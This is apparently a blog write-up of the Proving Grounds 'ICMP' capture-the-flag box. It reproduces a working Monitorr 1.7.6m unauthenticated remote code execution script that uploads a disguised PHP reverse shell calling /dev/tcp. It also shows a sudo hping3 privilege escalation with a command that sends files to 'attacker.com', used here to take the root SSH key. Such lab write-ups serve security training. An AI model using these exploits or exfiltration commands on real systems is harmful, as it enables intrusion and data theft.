Naveen Jagadeesan

Security Analyst | Security Researcher | CRTP

Proving grounds Play: ICMP

Jul 15, 2023

writeup

Proving grounds Play - ICMP CTF writeup.

Walkthrough on Youtube

NMAP

PORT 80 Tech Stack

Operating System: Debian
Web Technology: Apache, PHP (view-page-source)

Monitorr

Exploit Code

#!/usr/bin/python
# -*- coding: UTF-8 -*-

# Exploit Title: Monitorr 1.7.6m - Remote Code Execution (Unauthenticated)
# Date: September 12, 2020
# Exploit Author: Lyhin's Lab
# Detailed Bug Description: https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/
# Software Link: https://github.com/Monitorr/Monitorr
# Version: 1.7.6m
# Tested on: Ubuntu 19

import requests
import os
import sys

if len (sys.argv) != 4:
	print ("specify params in format: python " + sys.argv[0] + " target_url lhost lport")
else:
    url = sys.argv[1] + "/assets/php/upload.php"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/plain, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------31046105003900160576454225745", "Origin": sys.argv[1], "Connection": "close", "Referer": sys.argv[1]}

    data = "-----------------------------31046105003900160576454225745\r\nContent-Disposition: form-data; name=\"fileToUpload\"; filename=\"she_ll.php\"\r\nContent-Type: image/gif\r\n\r\nGIF89a213213123<?php shell_exec(\"/bin/bash -c 'bash -i >& /dev/tcp/"+sys.argv[2] +"/" + sys.argv[3] + " 0>&1'\");\r\n\r\n-----------------------------31046105003900160576454225745--\r\n"

    requests.post(url, headers=headers, data=data)

    print ("A shell script should be uploaded. Now we try to execute it")
    url = sys.argv[1] + "/assets/data/usrimg/she_ll.php"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    requests.get(url, headers=headers)

Obtaining Reverse Shell

Obtained local flag

Privilege Escalation

Obtain user

The permission is denied to access the devel folder as current user is not a system user. But as the tip found in the reminder file below.

The php file crypt.php inside the devel folder disclosed the SSH password for the user fox.

<?php
echo crypt('BUHNIJMONIBUVCYTTYVGBUHJNI','da');
?>

User access obtained.

Root Privilege Escalation

Check the current user sudo permissions.

Search for exploit in GTFO bins for hping3

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo hping3
/bin/sh

The file is continuously sent, adjust the --count parameter or kill the sender when done. Receive on the attacker box with:

sudo hping3 --icmp --listen xxx --dump

RHOST=attacker.com LFILE=file_to_read

sudo hping3 "$RHOST" --icmp --data 500 --sign xxx --file "$LFILE"

Transfering SSH key locally to obtain root access through hping3

ICMP Listener

ICMP: Data send

ICMP: Data Receive

SSH Root User

SSH to the root user using the obtained root SSH key.

Root user access and proof.txt obtained

Thanks for reading!

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